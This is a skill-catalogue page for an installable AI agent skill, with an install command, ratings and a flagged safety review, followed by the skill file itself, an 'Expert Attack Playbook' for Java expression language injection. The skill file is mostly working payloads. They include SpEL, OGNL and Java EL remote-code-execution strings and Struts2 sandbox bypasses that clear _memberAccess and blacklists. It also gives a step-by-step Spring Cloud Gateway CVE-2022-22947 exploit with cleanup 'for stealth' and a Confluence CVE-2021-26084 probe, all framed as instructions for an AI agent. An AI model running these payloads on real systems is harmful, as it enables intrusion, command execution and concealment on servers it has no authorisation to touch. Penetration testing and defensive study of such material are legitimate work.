expression-language-injection
Expression Language injection playbook
Install / Use
npx skills add yaklang/hack-skills --skill expression-language-injectionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Tags
Our assessment of expression-language-injection
expression-language-injection scores 86/100 on our quality scale, 2375th of 4,700 Development & Engineering skills we index.
Its SKILL.md is 7.9 KB long, well organised into 38 sections with 14 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so expression-language-injection is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit ā read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder.
AI review: risky
- Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder
- Provides step-by-step commands to add a malicious Spring Cloud Gateway route through the actuator and clean it up afterward for stealth
- Includes sandbox-bypass techniques such as clearing _memberAccess, excludedClasses, and reflection-based restrictions to subvert safeguards
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-02. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk ā read a skill before letting an agent act on it.
expression-language-injection compared with similar skills
All 4 of these similar skills score higher than expression-language-injection; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| expression-language-injection (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 116.8k | 8d ago | CLAUDE.md |
| ai-job-searchby ai-job-search-dev | 100 | 72.1k | today | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 47.3k | 2d ago | CLAUDE.md |
| lobehubby lobehub | 100 | 85.6k | today | MCP Server |
Frequently asked questions
- How do I install expression-language-injection?
- Run
npx skills add yaklang/hack-skills --skill expression-language-injection. The install tabs above show the steps for each supported agent. - Which AI agents does expression-language-injection work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is expression-language-injection safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to execute arbitrary remote code via SpEL/OGNL/Java EL payloads using Runtime.exec and ProcessBuilder. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is expression-language-injection still maintained?
- The repository was last updated about 2 months ago, so expression-language-injection is actively maintained.
Skill content
View source on GitHubname: expression-language-injection description: >- Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.
SKILL: Expression Language Injection ā Expert Attack Playbook
AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI ā EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,
_memberAccessmanipulation, actuator abuse, and real-world CVE chains.
0. RELATED ROUTING
- ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) ā different attack surface
- jndi-injection when EL evaluation leads to JNDI lookup
Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.
1. DETECTION ā POLYGLOT PROBES
${7*7} ā 49 = SpEL, OGNL, or Java EL
#{7*7} ā 49 = SpEL (alternative syntax) or JSF EL
%{7*7} ā 49 = OGNL (Struts2)
${T(java.lang.Math).random()} ā random float = SpEL confirmed
%{#context} ā object dump = OGNL confirmed
Disambiguation
| Response to ${7*7} | Response to %{7*7} | Engine |
|---|---|---|
| 49 | literal %{7*7} | SpEL or Java EL |
| literal ${7*7} | 49 | OGNL (Struts2) |
| 49 | 49 | Both may be active |
2. SpEL (SPRING EXPRESSION LANGUAGE)
Where SpEL Appears
@Value("${...}")annotations- Spring Security expressions (
@PreAuthorize) - Spring Cloud Gateway route predicates and filters
- Thymeleaf
th:text="${...}"(when combined with__${...}__preprocessing) - Spring Data
@Querywith SpEL
RCE via Runtime.exec
${T(java.lang.Runtime).getRuntime().exec("id")}
RCE with Output Capture (Commons IO)
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
RCE with Output Capture (Spring StreamUtils)
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
ProcessBuilder (alternative when Runtime is blocked)
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
Spring Cloud Gateway ā CVE-2022-22947
Exploit via actuator to add malicious route with SpEL filter:
# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh
# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output
# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
SpEL Sandbox Bypass
When SimpleEvaluationContext is used (restricts T() operator):
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
Where OGNL Appears
- Apache Struts2 ā primary OGNL consumer
- Confluence Server ā uses OGNL in certain request paths
- Any Java app using
ognl.Ognl.getValue()orognl.Ognl.setValue()
Basic RCE
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
Struts2 Sandbox Bypass ā _memberAccess Manipulation
Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2 OgnlUtil Blacklist Clear
Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
Key Struts2 CVEs
| CVE | Vector | Payload Location |
|---|---|---|
| S2-045 (CVE-2017-5638) | Content-Type header | %{...} in Content-Type |
| S2-046 (CVE-2017-5638) | Multipart filename | OGNL in upload filename |
| S2-016 (CVE-2013-2251) | redirect: / redirectAction: prefix | URL parameter |
| S2-048 (CVE-2017-9791) | Struts Showcase | ActionMessage with OGNL |
| S2-057 (CVE-2018-11776) | Namespace OGNL | URL path |
Confluence OGNL ā CVE-2021-26084
Confluence Server allows OGNL injection via the queryString or action parameters:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 ā confirmed
# Escalate to Runtime.exec for RCE
4. JAVA EL (JSP / JSF)
Where Java EL Appears
- JSP pages:
${expression}and#{expression} - JSF (JavaServer Faces): value and method bindings
- Custom tag libraries
RCE Payloads
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}
// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}
// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
5. DETECTION METHODOLOGY
Input reflected and ${7*7} returns 49?
āāā Java application?
ā āāā Struts2? ā Try %{...} OGNL payloads
ā ā āāā Check Content-Type injection (S2-045)
ā āāā Spring? ā Try T(java.lang.Runtime) SpEL
ā ā āāā Check /actuator/gateway (Spring Cloud Gateway)
ā āāā Confluence? ā Try OGNL via action parameters
ā āāā JSP/JSF? ā Try Java EL payloads
ā
āāā Error messages reveal framework?
ā āāā "ognl.OgnlException" ā OGNL
ā āāā "SpelEvaluationException" ā SpEL
ā āāā "javax.el.ELException" ā Java EL
ā
āāā Blocked by sandbox?
āāā OGNL: clear _memberAccess / excludedClasses
āāā SpEL: reflection bypass for SimpleEvaluationContext
āāā Try alternative exec methods (ProcessBuilder, ScriptEngine)
6. QUICK REFERENCE
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x ā SpEL in filter args
POST /actuator/gateway/refresh
Related Skills
taste-skill
116.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
ai-job-search
72.1kThe job search that runs on your machine. AI job application framework built on Claude Code: evaluate postings, tailor CVs, write cover letters, prep interviews. Fork it and own it.
claude-howto
47.3kA visual, example-driven guide to Claude Code ā from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
lobehub
85.6k𤯠LobeHub - Super-Agents on Your Team. Add super-agents to the chats your team already uses.They take on work by themselves and get better every week.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit ā see the Safety scan above for what the skill file itself contains.
